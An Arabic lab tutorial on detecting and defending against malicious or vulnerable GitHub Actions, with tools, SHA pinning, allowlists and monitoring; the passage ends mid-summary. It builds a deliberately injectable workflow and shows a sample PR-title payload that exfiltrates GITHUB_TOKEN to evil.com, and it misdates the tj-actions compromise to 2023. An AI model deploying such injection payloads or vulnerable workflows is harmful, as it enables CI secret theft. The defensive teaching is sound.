مختبر: اكتشاف GitHub Actions الخبيثة باستخدام التحليل الثابت

نظرة عامة

تُعد GitHub Actions من الأطراف الثالثة واحدة من أكثر الميزات ملاءمة في نظام GitHub. باستخدام توجيه uses: واحد، يمكنك استيراد منطق بناء معقد، أو النشر على مزودي الخدمات السحابية، أو تشغيل أدوات الفحص الأمني. لكن هذه الراحة تأتي مع مقايضة حرجة: كل action من طرف ثالث تنفذ شيفرة برمجية في بيئة CI الخاصة بك مع إمكانية الوصول إلى أسرارك ورموزك المميزة وشيفرتك المصدرية.

يمكن لـ action مخترقة أو خبيثة أن تسرّب بيانات الاعتماد، أو تحقن شيفرة في مخرجات البناء، أو تعدّل متغيرات البيئة لتغيير الخطوات اللاحقة، أو تضع بابًا خلفيًا في إصداراتك. على عكس التبعيات المُدارة بواسطة مديري الحزم، تفتقر GitHub Actions إلى نظام تحقق قوي، مما يجعلها هدفًا رئيسيًا لهجمات سلسلة التوريد.

في هذا المختبر العملي، ستتعلم:

  • تدقيق actions الأطراف الثالثة يدويًا بحثًا عن سلوك مشبوه
  • استخدام actionlint لاكتشاف أخطاء التكوين وثغرات حقن التعبيرات
  • استخدام zizmor لاكتشاف الأنماط المضادة للأمان في مسارات العمل
  • تثبيت actions بمراجع SHA غير قابلة للتغيير وأتمتة التحديثات باستخدام Dependabot
  • فرض قائمة بيضاء للـ actions لمنع الـ actions غير المصرح بها من الدخول إلى خطوط الأنابيب الخاصة بك
  • مراقبة تغييرات مسارات العمل من خلال CODEOWNERS وفحوصات PR الآلية

بنهاية هذا المختبر، سيكون لديك استراتيجية دفاع متعددة الطبقات تقلل من مخاطر اختراق سلسلة التوريد من خلال GitHub Actions.

المتطلبات الأساسية

قبل بدء هذا المختبر، تأكد من توفر:

  • حساب GitHub مع صلاحيات إنشاء المستودعات وتكوين Actions
  • مستودع اختبار — أنشئ مستودعًا جديدًا أو استخدم مستودعًا موجودًا غير إنتاجي يحتوي على مسار عمل GitHub Actions واحد على الأقل
  • Git CLI مثبت ومصادق مع GitHub
  • Node.js 18+ (مطلوب لبعض الأدوات)
  • Python 3.9+ (لتثبيت zizmor)
  • GitHub CLI (gh) — التثبيت من cli.github.com
  • معرفة أساسية بـ GitHub Actions — يجب أن تفهم صياغة YAML لمسارات العمل، والوظائف، والخطوات، والكلمة المفتاحية uses:

أنشئ مستودع اختبار إذا لم يكن لديك واحد:

gh repo create actions-security-lab --public --clone
cd actions-security-lab
mkdir -p .github/workflows

أنشئ ملف مسار عمل نموذجي في .github/workflows/ci.yml سنستخدمه في هذا المختبر:

name: CI Pipeline
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - uses: actions/cache@v4
        with:
          path: ~/.npm
          key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
      - run: npm ci
      - run: npm test

فهم التهديد

قبل أن نبدأ بالفحص والتدقيق، من المهم فهم كيف تصبح GitHub Actions نواقل هجوم. هناك عدة طرق اختراق موثقة جيدًا:

استيلاء على حساب المشرف

يحصل المهاجم على وصول إلى حساب GitHub لمشرف الـ action — من خلال حشو بيانات الاعتماد، أو التصيد الاحتيالي، أو اختطاف الجلسة. بمجرد سيطرته على الحساب، يدفع شيفرة خبيثة إلى مستودع الـ action ويحدّث العلامات الموجودة للإشارة إلى الالتزام المخترق. كل مسار عمل يشير إلى تلك العلامة يسحب النسخة الخبيثة فورًا في التشغيل التالي.

تحديثات العلامات الخبيثة

علامات Git قابلة للتغيير. يمكن لمشرف الـ action (أو المهاجم الذي لديه صلاحية الدفع) حذف علامة مثل v1 وإعادة إنشائها مشيرة إلى التزام مختلف. إذا كان مسار عملك يستخدم uses: some-action/tool@v1، فأنت تثق بأن العلامة تشير دائمًا إلى شيفرة آمنة. هذه الثقة يمكن انتهاكها بسهولة.

انتحال الأسماء المتشابهة

ينشئ المهاجمون actions بأسماء مشابهة بشكل مربك للـ actions الشائعة. على سبيل المثال:

  • actions/checkout (شرعي) مقابل action/checkout (انتحال)
  • actions/setup-node مقابل actions/setup-nodejs
  • docker/build-push-action مقابل docker/build-and-push-action

خطأ إملائي واحد في ملف YAML لمسار عملك يمكن أن يسحب action مختلفة تمامًا وخبيثة.

اختطاف التبعيات

العديد من GitHub Actions مبنية على JavaScript ولديها تبعيات node_modules خاصة بها. إذا تم اختراق إحدى تبعيات الـ action (عبر هجوم سلسلة توريد npm)، تصبح الـ action نفسها ناقل هجوم — حتى لو كانت شيفرة الـ action نفسها نظيفة.

حوادث واقعية

tj-actions/changed-files (مارس 2023): اخترق المهاجمون الـ action المستخدمة على نطاق واسع tj-actions/changed-files من خلال الوصول إلى حساب المشرف. عدّلوا الـ action لتسريب أسرار CI/CD عن طريق تفريغ ذاكرة المُشغّل ومتغيرات البيئة في سجلات مسار العمل. تأثرت آلاف المستودعات لأنها أشارت إلى علامات قابلة للتغيير بدلاً من SHA مثبتة.

codecov/codecov-action (2021): تم تعديل Codecov Bash Uploader بواسطة مهاجمين حصلوا على الوصول من خلال صورة Docker مخترقة مستخدمة في عملية CI الخاصة بـ Codecov. قام السكريبت المعدّل بتسريب متغيرات البيئة — بما في ذلك رموز CI ومفاتيح API وبيانات الاعتماد — من بيئات CI الخاصة بالعملاء. أثر هذا على عدد كبير من المنظمات التي تشغل action الخاصة بـ Codecov في خطوط أنابيبها.

تشترك هذه الحوادث في نمط مشترك: الثقة في المراجع القابلة للتغيير. كان يمكن تخفيف كلتا الحادثتين عن طريق التثبيت بـ SHA غير قابلة للتغيير وتدقيق سلوك الـ action قبل اعتمادها.

التمرين 1: التدقيق اليدوي للـ Actions

الأدوات الآلية ضرورية، لكن لا بديل عن فهم ما تفعله الـ action فعلاً. في هذا التمرين، ستقوم بتدقيق ثلاث actions شائعة الاستخدام يدويًا لبناء حدسك في اكتشاف الأنماط المشبوهة.

الخطوة 1: اختيار الـ Actions للتدقيق

من مسار العمل النموذجي أعلاه، سنقوم بتدقيق:

  1. actions/checkout@v4
  2. actions/setup-node@v4
  3. actions/cache@v4

الخطوة 2: مراجعة action.yml

لكل action، ابدأ بفحص ملف action.yml في مستودع الـ action. يحدد هذا الملف المدخلات والمخرجات ونقطة الدخول للـ action.

# استنساخ الـ action للفحص محليًا
git clone --depth 1 https://github.com/actions/checkout.git /tmp/audit-checkout
cat /tmp/audit-checkout/action.yml

الأشياء الرئيسية التي يجب البحث عنها في action.yml:

  • نقطة الدخول: هل هي action من نوع node (تشغل JavaScript)، أو composite (تشغل خطوات)، أو docker (تشغل حاوية)؟ لكل نوع ملف مخاطر مختلف.
  • المدخلات: هل تقبل الـ action مدخلات حساسة مثل الرموز المميزة أو بيانات الاعتماد؟
  • الإجراء اللاحق: هل تحدد نقطة دخول post:؟ الإجراءات اللاحقة تعمل حتى لو فشلت الوظيفة، مما يجعلها مثالية للتسريب.

الخطوة 3: فحص الشيفرة المصدرية

للـ actions المبنية على JavaScript/TypeScript، افحص ملف dist/index.js المُجمّع والمصدر في src/:

# البحث عن استدعاءات الشبكة
grep -rn 'https\?://' /tmp/audit-checkout/src/ | grep -v 'github.com\|api.github.com'

# البحث عن أنماط الوصول للأسرار
grep -rn 'GITHUB_TOKEN\|process.env\|getInput' /tmp/audit-checkout/src/

# البحث عن كتابة الملفات في مواقع حساسة
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' /tmp/audit-checkout/src/

# البحث عن استدعاءات exec أو spawn
grep -rn 'exec\|spawn\|child_process' /tmp/audit-checkout/src/

الخطوة 4: قائمة فحص العلامات الحمراء

استخدم قائمة الفحص هذه عند تدقيق أي GitHub Action:

العلامة الحمراء ما الذي تبحث عنه مستوى الخطر
استدعاءات شبكة لنطاقات مجهولة fetch()، http.request()، curl لنطاقات غير GitHub حرج
الوصول للأسرار قراءة GITHUB_TOKEN، secrets.*، أو متغيرات البيئة عالي
التلاعب بالبيئة الكتابة في GITHUB_ENV، GITHUB_OUTPUT، أو GITHUB_PATH عالي
تنفيذ شيفرة ديناميكية eval()، exec()، تنزيل وتشغيل سكريبتات حرج
شيفرة مبهمة سلاسل مشفرة بـ Base64، شيفرة مصغرة بدون خرائط مصدر عالي
خطافات الإجراء اللاحق نقطة دخول post: في action.yml متوسط
صلاحيات مفرطة مطلوبة التوثيق يطلب صلاحيات write أكثر مما هو مطلوب متوسط
لا تحقق أو توقيع الـ action ليست من منشئ موثق، لا توقيعات Sigstore منخفض-متوسط

الخطوة 5: مثال على التدقيق — actions/checkout@v4

إليك تدقيقًا مختصرًا لـ actions/checkout@v4:

# تحليل action.yml
# - النوع: node20 (action بلغة JavaScript)
# - المدخلات: يقبل مدخل 'token' (الافتراضي github.token)
# - الإجراء اللاحق: نعم — يشغل تنظيف لإزالة بيانات الاعتماد

# تحليل الشبكة
# - يتصل بـ: api.github.com (متوقع لعمليات git)
# - لا اتصالات بنطاقات أطراف ثالثة ✓

# التعامل مع الأسرار
# - يستخدم GITHUB_TOKEN لاستنساخ git المصادق عليه
# - يتم حفظ الرمز في تكوين git افتراضيًا (مدخل persist-credentials)
# - الإجراء اللاحق يزيل بيانات الاعتماد المحفوظة

# كتابة البيئة
# - لا يكتب في GITHUB_ENV أو GITHUB_PATH ✓

# الحكم: آمن — السلوك يطابق الغرض الموثق
# التوصية: اضبط persist-credentials: false لتقليل تعرض الرمز

طبّق نفس العملية على كل action جديدة قبل إضافتها إلى مسارات عملك.

التمرين 2: فحص الـ Actions باستخدام actionlint

actionlint هو أداة تحليل ثابت لملفات مسارات عمل GitHub Actions. يكتشف أخطاء الصياغة، وعدم تطابق الأنواع، والأهم لأغراضنا — ثغرات حقن التعبيرات.

الخطوة 1: تثبيت actionlint

# macOS
brew install actionlint

# Linux (تنزيل الملف التنفيذي)
curl -sL https://github.com/rhysd/actionlint/releases/latest/download/actionlint_linux_amd64.tar.gz | tar xz
sudo mv actionlint /usr/local/bin/

# التحقق من التثبيت
actionlint --version

الخطوة 2: التشغيل على مسارات العمل

actionlint .github/workflows/*.yml

لمسار عمل CI النموذجي لدينا، سينتج actionlint مخرجات نظيفة لأننا اتبعنا الممارسات الجيدة. دعنا ننشئ مسار عمل ضعيف لنرى قدرات اكتشاف الأمان في actionlint.

الخطوة 3: إنشاء مسار عمل ضعيف

أنشئ .github/workflows/greet-pr.yml مع ثغرات متعمدة:

name: Greet PR
on:
  pull_request_target:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Greet the contributor
        run: |
          echo "PR Title: ${{ github.event.pull_request.title }}"
          echo "PR Author: ${{ github.event.pull_request.user.login }}"
          echo "PR Body: ${{ github.event.pull_request.body }}"
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Post comment
        run: |
          curl -X POST \
            -H "Authorization: token $GITHUB_TOKEN" \
            -H "Accept: application/vnd.github.v3+json" \
            https://api.github.com/repos/${{ github.repository }}/issues/${{ github.event.pull_request.number }}/comments \
            -d '{"body": "Welcome, ${{ github.event.pull_request.user.login }}! Thanks for your PR: ${{ github.event.pull_request.title }}"}'

الخطوة 4: فحص مسار العمل الضعيف

actionlint .github/workflows/greet-pr.yml

سيُبلّغ actionlint عن ثغرات حقن التعبيرات:

.github/workflows/greet-pr.yml:14:27: expression injection: 
  "github.event.pull_request.title" is potentially untrusted. 
  Consider using an environment variable instead. 
  [expression]
.github/workflows/greet-pr.yml:16:25: expression injection: 
  "github.event.pull_request.body" is potentially untrusted. 
  Consider using an environment variable instead. 
  [expression]

حقول title وbody يتحكم بها كاتب الـ PR. يمكن للمهاجم صياغة عنوان PR يحتوي على محارف خاصة بالصدفة لتنفيذ أوامر عشوائية:

# عنوان PR خبيث:
Innocent Title"; curl -s https://evil.com/steal?token=$GITHUB_TOKEN; echo "

عندما يتم استكمال هذا العنوان مباشرة في كتلة run: عبر ${{ }}، تنفذ الصدفة الأمر المحقون.

الخطوة 5: إصلاح الثغرة

الإصلاح هو تمرير البيانات غير الموثوقة من خلال متغيرات البيئة بدلاً من الاستكمال المباشر:

name: Greet PR (Fixed)
on:
  pull_request_target:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Greet the contributor
        run: |
          echo "PR Title: $PR_TITLE"
          echo "PR Author: $PR_AUTHOR"
          echo "PR Body: $PR_BODY"
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
          PR_AUTHOR: ${{ github.event.pull_request.user.login }}
          PR_BODY: ${{ github.event.pull_request.body }}
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Post comment
        uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.payload.pull_request.number,
              body: `Welcome, ${context.payload.pull_request.user.login}! Thanks for your PR.`
            });

متغيرات البيئة تُمرر كبيانات، ولا يتم استكمالها في أوامر الصدفة، مما يمنع الحقن. أعد تشغيل actionlint للتأكد من الإصلاح:

actionlint .github/workflows/greet-pr-fixed.yml
# لا مخرجات = لا مشاكل

التمرين 3: الفحص باستخدام zizmor

zizmor هو أداة تحليل ثابت تركز على الأمان ومصممة خصيصًا لـ GitHub Actions. بينما يركز actionlint على الصحة مع بعض فحوصات الأمان، يركز zizmor حصريًا على الأنماط المضادة للأمان.

الخطوة 1: تثبيت zizmor

# التثبيت عبر pip
pip install zizmor

# أو عبر pipx للعزل
pipx install zizmor

# التحقق من التثبيت
zizmor --version

الخطوة 2: التشغيل على مسارات العمل

zizmor .github/workflows/

يحلل zizmor مسارات العمل لمجموعة شاملة من المشاكل الأمنية. على ملف ci.yml النموذجي لدينا، سيُبلّغ عن:

ci.yml:15:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
15|       - uses: actions/checkout@v4
  |         ^^^^ action not pinned to a full-length commit SHA
  |
  = note: Pinning actions to a full SHA protects against tag mutation attacks

ci.yml:17:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
17|       - uses: actions/setup-node@v4
  |         ^^^^ action not pinned to a full-length commit SHA

ci.yml:20:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
20|       - uses: actions/cache@v4
  |         ^^^^ action not pinned to a full-length commit SHA

الخطوة 3: فحص مسار العمل الضعيف

zizmor .github/workflows/greet-pr.yml

سينتج zizmor نتائج أمنية أغنى:

greet-pr.yml:4:5 warning[dangerous-trigger]: use of dangerous trigger
  |
4 |   pull_request_target:
  |   ^^^^^^^^^^^^^^^^^^^^ pull_request_target runs in the context of the base branch
  |
  = note: This trigger has access to repository secrets and a read-write token

greet-pr.yml:14:27 error[template-injection]: template injection in run: block
  |
14|          echo "PR Title: ${{ github.event.pull_request.title }}"
  |                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  |
  = note: Attacker-controlled input is interpolated directly into a shell command

greet-pr.yml:15:9 warning[unpinned-uses]: no actions pinned by SHA
  |
  = note: All third-party actions should be pinned to full commit SHAs

greet-pr.yml:12:5 warning[excessive-permissions]: permissions may be overly broad
  |
  = note: Consider using read-only permissions where possible

الخطوة 4: مقارنة actionlint وzizmor

الميزة actionlint zizmor
التركيز الأساسي الصحة والصياغة التحليل الأمني
حقن التعبيرات نعم نعم (أكثر شمولاً)
actions غير مثبتة لا نعم
المُحفّزات الخطرة لا نعم
الصلاحيات المفرطة لا نعم
تسميم المخرجات لا نعم
خطأ تكوين OIDC لا نعم
فحص الأنواع نعم لا
الصياغة المهملة نعم لا

التوصية: استخدم كلتا الأداتين معًا. يكتشف actionlint مشاكل الصحة وأنماط الحقن الأساسية؛ يوفر zizmor تحليلاً أمنيًا أعمق. أضف كليهما إلى خط أنابيب CI الخاص بك:

name: Workflow Security Scan
on:
  pull_request:
    paths:
      - '.github/workflows/**'

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Run actionlint
        run: |
          brew install actionlint
          actionlint .github/workflows/*.yml
      - name: Run zizmor
        run: |
          pip install zizmor
          zizmor .github/workflows/

التمرين 4: تثبيت والتحقق من سلامة الـ Actions

المراجع المبنية على العلامات مثل @v4 قابلة للتغيير — يمكن نقل العلامة للإشارة إلى أي التزام في أي وقت. التثبيت بـ SHA غير قابل للتغيير ويوفر ضمانًا تشفيريًا بأنك تشغل الشيفرة ذاتها التي راجعتها.

الخطوة 1: تحديد SHA للـ Actions

استخدم GitHub CLI لتحديد SHA الحالي لكل علامة action:

# تحديد actions/checkout@v4
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object.sha'
# المخرج: b4ffde65f46336ab88eb53be808477a3936bae11

# تحديد actions/setup-node@v4
gh api repos/actions/setup-node/git/ref/tags/v4 --jq '.object.sha'
# المخرج: 60edb5dd545a775178f52524783378180af0d1f8

# تحديد actions/cache@v4
gh api repos/actions/cache/git/ref/tags/v4 --jq '.object.sha'
# المخرج: 0c45773b623bea8c8e75f6c82b208c3cf94d9d67

مهم: بعض العلامات تشير إلى كائنات علامات مُعلّقة بدلاً من الالتزامات مباشرة. في هذه الحالة، تحتاج إلى إلغاء مرجع العلامة:

# إذا أرجع الأمر أعلاه كائن من نوع 'tag'، قم بإلغاء المرجع:
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object' 
# إذا كان النوع "tag"، احصل على الالتزام الأساسي:
gh api repos/actions/checkout/git/tags/TAG_SHA --jq '.object.sha'

الخطوة 2: تحديث مسار العمل

استبدل مراجع العلامات بتثبيت SHA. أضف دائمًا تعليقًا بالعلامة الأصلية لسهولة القراءة:

steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4
    with:
      node-version: '20'
  - uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94d9d67 # v4
    with:
      path: ~/.npm
      key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}

الخطوة 3: التحقق من توقيعات Sigstore (عند توفرها)

بعض ناشري الـ actions يوقعون إصداراتهم باستخدام Sigstore. يمكنك التحقق من هذه التوقيعات:

# تثبيت cosign
brew install cosign

# التحقق من إصدار action موقع (إذا كان الناشر يوقعها)
cosign verify-blob \
  --certificate-identity "https://github.com/actions/checkout/.github/workflows/release.yml@refs/tags/v4" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  --bundle checkout-v4.sigstore.json \
  checkout-v4.tar.gz

ليست كل الـ actions تنشر توقيعات Sigstore بعد، لكن هذه ممارسة ناشئة.

الخطوة 4: إعداد Dependabot لتحديثات SHA الآلية

التثبيت بـ SHA يعني أنك لن تحصل على التحديثات تلقائيًا. استخدم Dependabot لأتمتة ذلك مع الحفاظ على عدم القابلية للتغيير:

أنشئ .github/dependabot.yml:

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "github-actions"
    reviewers:
      - "your-security-team"
    commit-message:
      prefix: "chore(deps)"

عندما يتم إصدار نسخة جديدة من action، سينشئ Dependabot طلب PR يحدّث تثبيت SHA:

# مثال على فرق PR من Dependabot:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
+ uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.2

هذا يمنحك أفضل ما في العالمين: مراجع غير قابلة للتغيير مع تحديثات آلية تمر عبر عملية مراجعة PR العادية.

التمرين 5: فرض قائمة بيضاء للـ Actions

حتى مع التثبيت والفحص، تحتاج إلى آلية لمنع الـ actions غير المعتمدة من الإضافة إلى مسارات العمل. تضمن القائمة البيضاء أن الـ actions المُدققة فقط يمكن استخدامها.

الخيار أ: GitHub Enterprise — قائمة بيضاء على مستوى المنظمة

إذا كنت تستخدم GitHub Enterprise، يمكنك تقييد الـ actions على مستوى المنظمة:

  1. اذهب إلى إعدادات المنظمة
  2. انتقل إلى Actions → General
  3. تحت السياسات، اختر السماح لـ actions ومسارات العمل القابلة لإعادة الاستخدام المحددة
  4. أضف الـ actions المعتمدة: actions/checkout@*، actions/setup-node@*، إلخ.

هذا هو أقوى تطبيق لأن GitHub نفسه سيرفض تشغيل مسارات العمل التي تستخدم actions غير مسموح بها.

الخيار ب: فحص القائمة البيضاء المبني على CI

للمنظمات بدون GitHub Enterprise، يمكنك إنشاء آلية تطبيق مبنية على CI.

الخطوة 1: إنشاء القائمة البيضاء.

أنشئ allowed-actions.txt في جذر مستودعك:

# GitHub Actions المعتمدة
# الصيغة: owner/repo
# الأسطر التي تبدأ بـ # هي تعليقات

# Actions الرسمية من GitHub
actions/checkout
actions/setup-node
actions/cache
actions/upload-artifact
actions/download-artifact
actions/github-script

# فحص الأمان
github/codeql-action

# أطراف ثالثة معتمدة
docker/build-push-action
docker/login-action

الخطوة 2: إنشاء سكريبت التحقق.

أنشئ scripts/check-actions.sh:

#!/bin/bash
set -euo pipefail

ALLOWLIST="allowed-actions.txt"
WORKFLOW_DIR=".github/workflows"
FAILED=0

if [[ ! -f "$ALLOWLIST" ]]; then
  echo "ERROR: Allowlist file not found: $ALLOWLIST"
  exit 1
fi

# استخراج جميع مراجع 'uses:' من ملفات مسارات العمل
echo "Scanning workflow files for action references..."
echo "================================================"

for workflow in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [[ -f "$workflow" ]] || continue
  
  echo ""
  echo "Checking: $workflow"
  
  # استخراج مراجع الـ actions (owner/repo من uses: owner/repo@ref)
  actions=$(grep -oP 'uses:\s+\K[^@\s]+' "$workflow" | \
    grep '/' | \
    grep -v '^\.\./\|^docker://' | \
    sort -u)
  
  for action in $actions; do
    if grep -qx "$action" "$ALLOWLIST"; then
      echo "  ✓ $action (approved)"
    else
      echo "  ✗ $action (NOT IN ALLOWLIST)"
      FAILED=1
    fi
  done
done

echo ""
echo "================================================"
if [[ $FAILED -eq 1 ]]; then
  echo "FAILED: Unapproved actions detected!"
  echo "To approve a new action, add it to $ALLOWLIST and get security team review."
  exit 1
else
  echo "PASSED: All actions are approved."
fi

اجعل السكريبت قابلاً للتنفيذ:

chmod +x scripts/check-actions.sh

الخطوة 3: إنشاء مسار عمل التطبيق.

أنشئ .github/workflows/check-actions.yml:

name: Action Allowlist Check
on:
  pull_request:
    paths:
      - '.github/workflows/**'
      - 'allowed-actions.txt'

permissions:
  contents: read

jobs:
  check-actions:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4

      - name: Check actions against allowlist
        run: ./scripts/check-actions.sh

الخطوة 4: اختبار التطبيق.

أضف action غير معتمدة إلى مسار عمل في فرع وافتح PR:

# في فرع جديد، أضف action غير معتمدة
git checkout -b test-unapproved-action

# أضف action غير معتمدة إلى ci.yml
# مثلاً، uses: some-unknown/action@v1

git add .github/workflows/ci.yml
git commit -m "test: add unapproved action"
git push origin test-unapproved-action
# افتح PR → وظيفة check-actions ستفشل

ستظهر المخرجات:

Checking: .github/workflows/ci.yml
  ✓ actions/checkout (approved)
  ✓ actions/setup-node (approved)
  ✓ actions/cache (approved)
  ✗ some-unknown/action (NOT IN ALLOWLIST)

================================================
FAILED: Unapproved actions detected!
To approve a new action, add it to allowed-actions.txt and get security team review.

اجعل هذا فحص حالة مطلوب في قواعد حماية الفرع لفرض القائمة البيضاء على جميع طلبات PR.

التمرين 6: مراقبة تغييرات الـ Actions

حتى مع القوائم البيضاء والتثبيت، تحتاج إلى رؤية حول متى تتغير ملفات مسارات العمل. هذا التمرين يُعدّ آليات المراقبة والتنبيه.

الخطوة 1: إعداد CODEOWNERS

أنشئ .github/CODEOWNERS لطلب مراجعة فريق الأمان لتغييرات مسارات العمل:

# طلب مراجعة فريق الأمان لجميع تغييرات مسارات العمل
.github/workflows/ @your-org/security-team
.github/actions/    @your-org/security-team
allowed-actions.txt @your-org/security-team
.github/dependabot.yml @your-org/security-team

فعّل قاعدة حماية الفرع “طلب المراجعة من مالكي الشيفرة” لفرض ذلك.

الخطوة 2: إنشاء مُبلّغ تغييرات مسارات العمل

أنشئ مسار عمل يعلّق تلقائيًا على طلبات PR بملخص تغييرات الـ actions:

name: Workflow Change Report
on:
  pull_request:
    paths:
      - '.github/workflows/**'

permissions:
  contents: read
  pull-requests: write

jobs:
  report:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
        with:
          fetch-depth: 0

      - name: Generate action change report
        id: report
        run: |
          BASE=${{ github.event.pull_request.base.sha }}
          HEAD=${{ github.event.pull_request.head.sha }}

          echo "## Workflow Changes Report" > /tmp/report.md
          echo "" >> /tmp/report.md

          # البحث عن ملفات مسارات العمل المُعدّلة
          CHANGED_FILES=$(git diff --name-only "$BASE".."$HEAD" -- .github/workflows/)

          if [[ -z "$CHANGED_FILES" ]]; then
            echo "No workflow files changed." >> /tmp/report.md
            exit 0
          fi

          echo "### Changed Files" >> /tmp/report.md
          for file in $CHANGED_FILES; do
            echo "- \`$file\`" >> /tmp/report.md
          done
          echo "" >> /tmp/report.md

          # استخراج تغييرات الـ actions
          echo "### Action Reference Changes" >> /tmp/report.md
          echo '```diff' >> /tmp/report.md
          git diff "$BASE".."$HEAD" -- .github/workflows/ | \
            grep -E '^[+-].*uses:' | \
            grep -v '^[+-]{3}' >> /tmp/report.md || true
          echo '```' >> /tmp/report.md
          echo "" >> /tmp/report.md
          echo "⚠️ **Security team review required for workflow changes.**" >> /tmp/report.md

      - name: Comment on PR
        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7
        with:
          script: |
            const fs = require('fs');
            const report = fs.readFileSync('/tmp/report.md', 'utf8');
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: report
            });

الخطوة 3: الاستفادة من تنبيهات Dependabot الأمنية

يُبلّغ Dependabot تلقائيًا عن الثغرات المعروفة في GitHub Actions. تأكد من تفعيل ذلك:

  1. اذهب إلى إعدادات المستودع → أمان الشيفرة والتحليل
  2. فعّل تنبيهات Dependabot
  3. فعّل تحديثات Dependabot الأمنية

عندما تحتوي action مثبتة على ثغرة معروفة، سينشئ Dependabot طلب PR للتحديث الأمني. لأنك مثبت بـ SHA، يظهر الفرق بوضوح هاشات الالتزام القديمة والجديدة، مما يسهّل مراجعة ما تغير بالضبط.

الخطوة 4: مراقبة سجل التدقيق (GitHub Enterprise)

للمنظمات التي تستخدم GitHub Enterprise، فعّل بث سجل التدقيق لاكتشاف تعديلات مسارات العمل:

# الاستعلام في سجل التدقيق عن تغييرات ملفات مسارات العمل
gh api orgs/YOUR_ORG/audit-log \
  --method GET \
  -f phrase='action:workflows' \
  -f per_page=50 \
  --jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'

بناء استراتيجية الدفاع

ليست كل المنظمات تحتاج كل عنصر تحكم. إليك نهج متدرج بناءً على متطلبات الأمان الخاصة بك:

المستوى 1: الحد الأدنى (جميع المنظمات)

  • ثبّت جميع الـ actions بهاشات SHA الكاملة — يمنع هجمات تغيير العلامات
  • فعّل Dependabot لـ github-actions — يؤتمت تحديثات SHA
  • اضبط الحد الأدنى من الصلاحيات — استخدم permissions: على مستوى مسار العمل والوظيفة

الجهد: منخفض. الأثر: يحجب ناقل الهجوم الأكثر شيوعًا (العلامات القابلة للتغيير).

المستوى 2: الموصى به (معظم المنظمات)

كل ما في المستوى 1، بالإضافة إلى:

  • تشغيل actionlint وzizmor في CI — يكتشف ثغرات الحقن وأخطاء التكوين الأمنية قبل دمجها
  • إعداد CODEOWNERS لملفات مسارات العمل — يضمن مراجعة فريق الأمان لجميع تغييرات مسارات العمل
  • تفعيل قواعد حماية الفرع — طلب فحوصات الحالة ومراجعات مالكي الشيفرة

الجهد: متوسط. الأثر: يكتشف الثغرات أثناء التطوير ويضمن المراجعة.

المستوى 3: الأمان العالي (الصناعات المنظمة، الأهداف عالية القيمة)

كل ما في المستوى 2، بالإضافة إلى:

  • فرض قائمة بيضاء للـ actions — فقط الـ actions المعتمدة مسبقًا يمكن استخدامها
  • تدقيق أمني يدوي لكل action جديدة — مراجعة كاملة للشيفرة قبل الإضافة إلى القائمة البيضاء
  • نسخ الـ actions الحرجة داخليًا — الحفاظ على نسخك الخاصة من الـ actions الأساسية لإزالة التبعية الخارجية
  • تقارير تغييرات مسارات العمل الآلية — تعليقات PR تلخص جميع تغييرات الـ actions
  • مراقبة سجل التدقيق — تنبيهات فورية عند تعديل مسارات العمل

الجهد: عالي. الأثر: دفاع شامل ضد هجمات سلسلة التوريد من خلال Actions.

التنظيف

بعد إكمال المختبر، نظّف أي موارد اختبار:

# حذف مستودع الاختبار إذا أنشأت واحدًا
gh repo delete actions-security-lab --yes

# حذف مجلدات التدقيق المستنسخة
rm -rf /tmp/audit-checkout /tmp/audit-setup-node /tmp/audit-cache

# إزالة تثبيت الأدوات إذا لم تعد مطلوبة
# brew uninstall actionlint
# pip uninstall zizmor

إذا استخدمت مستودعك الخاص، ارجع عن أي مسارات عمل اختبار ضعيفة:

git checkout main
git branch -D test-unapproved-action
rm -f .github/workflows/greet-pr.yml

النقاط الرئيسية

  • GitHub Actions من الأطراف الثالثة تمثل خطرًا على سلسلة التوريد. كل توجيه uses: ينفذ شيفرة خارجية في بيئة CI الخاصة بك مع الوصول إلى أسرارك ورموزك المميزة.
